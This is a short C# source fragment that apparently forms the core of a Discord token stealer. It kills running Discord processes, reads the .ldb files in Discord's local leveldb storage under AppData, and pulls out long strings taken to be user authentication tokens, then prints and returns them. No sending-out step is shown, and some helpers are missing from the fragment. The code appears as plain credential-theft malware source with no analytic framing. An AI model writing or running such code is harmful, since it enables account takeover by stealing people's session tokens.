public static string GetToken(string path) { byte[] bytes = File.ReadAllBytes(path); string @string = Encoding.UTF8.GetString(bytes); string text = Usertoken.Parse(@string); string[] array = text.Split(new char[] { '"' }); return(array[0].Replace("_state", "")); }
public static List <string> Tokens(string path) { DirectoryInfo directoryInfo = new DirectoryInfo(path); List <string> list = new List <string>(); List <string> list2 = new List <string>(); foreach (FileInfo fileInfo in directoryInfo.GetFiles()) { bool flag = fileInfo.Name.EndsWith(".ldb"); if (flag) { list2.Add(Usertoken.GetToken(path + "\\" + fileInfo.Name)); } } return(list2); }
public static string Get() { string path = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\discord\\Local Storage\\leveldb\\"; foreach (Process process in Process.GetProcessesByName("Discord")) { process.Kill(); } Thread.Sleep(100); List <string> list = new List <string>(); foreach (string text in Usertoken.Tokens(path)) { bool flag = text.Length > 50; if (flag) { list.Add(text); } } Console.Write(string.Join("\n", list)); return(list[list.Count - 1]); }